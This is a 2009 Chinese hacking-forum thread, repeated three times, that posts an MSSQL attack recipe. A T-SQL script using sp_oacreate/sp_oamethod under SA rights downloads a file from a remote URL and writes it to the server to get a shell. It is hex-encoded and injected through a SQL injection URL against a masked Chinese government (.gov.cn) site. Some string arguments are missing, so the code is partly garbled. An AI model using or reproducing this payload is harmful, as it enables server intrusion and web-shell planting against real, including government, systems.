sipsip 发表于 2009-11-5 23:32

xml.http 下载拿SHELL

注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳。
DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate ,@http output ;EXEC @hr = sp_oamethod @http,,null,,[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,,null ;EXEC @hr=sp_OAGetProperty @http,,@B output ;EXEC @hr=sp_oacreate ,@down output ;EXEC @hr=sp_OASetProperty @down,,1 ;EXEC @hr=sp_OASetProperty @down,,3 ;EXEC @hr=sp_oamethod @down,,null ;EXEC @hr=sp_oamethod @down,,null,@B ;EXEC @hr=sp_oamethod @down,,null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交：
http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--

amwdnuff 发表于 2009-11-6 08:37

进来学习下哦

sipsip 发表于 2009-11-5 23:32

xml.http 下载拿SHELL

注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳。
DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate ,@http output ;EXEC @hr = sp_oamethod @http,,null,,[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,,null ;EXEC @hr=sp_OAGetProperty @http,,@B output ;EXEC @hr=sp_oacreate ,@down output ;EXEC @hr=sp_OASetProperty @down,,1 ;EXEC @hr=sp_OASetProperty @down,,3 ;EXEC @hr=sp_oamethod @down,,null ;EXEC @hr=sp_oamethod @down,,null,@B ;EXEC @hr=sp_oamethod @down,,null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交：
http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--

sipsip 发表于 2009-11-5 23:32

xml.http 下载拿SHELL

注意以下语句在SA权限下执行，对于N多扩展存储过程被删除时使用效果最佳。
DECLARE
@B varbinary(8000),
@hr int,
@http INT,
@down INT
EXEC sp_oacreate ,@http output ;EXEC @hr = sp_oamethod @http,,null,,[要下载的文件地址],0 ;EXEC @hr = sp_oamethod @http,,null ;EXEC @hr=sp_OAGetProperty @http,,@B output ;EXEC @hr=sp_oacreate ,@down output ;EXEC @hr=sp_OASetProperty @down,,1 ;EXEC @hr=sp_OASetProperty @down,,3 ;EXEC @hr=sp_oamethod @down,,null ;EXEC @hr=sp_oamethod @down,,null,@B ;EXEC @hr=sp_oamethod @down,,null,[保存在服务器上的绝对路径],1 ;--
将以上代码修改后转化为十六进制。然后提交：
http://www.XXXX.gov.cn/XXX/hdsq/XXXXfo.jsp?ID=8 ;DECLARE @S VARCHAR(4000);SET @S=CAST(十六进制代码 AS VARCHAR(4000));EXEC(@S);--
页: [1]
查看完整版本: xml.http 下载拿SHELL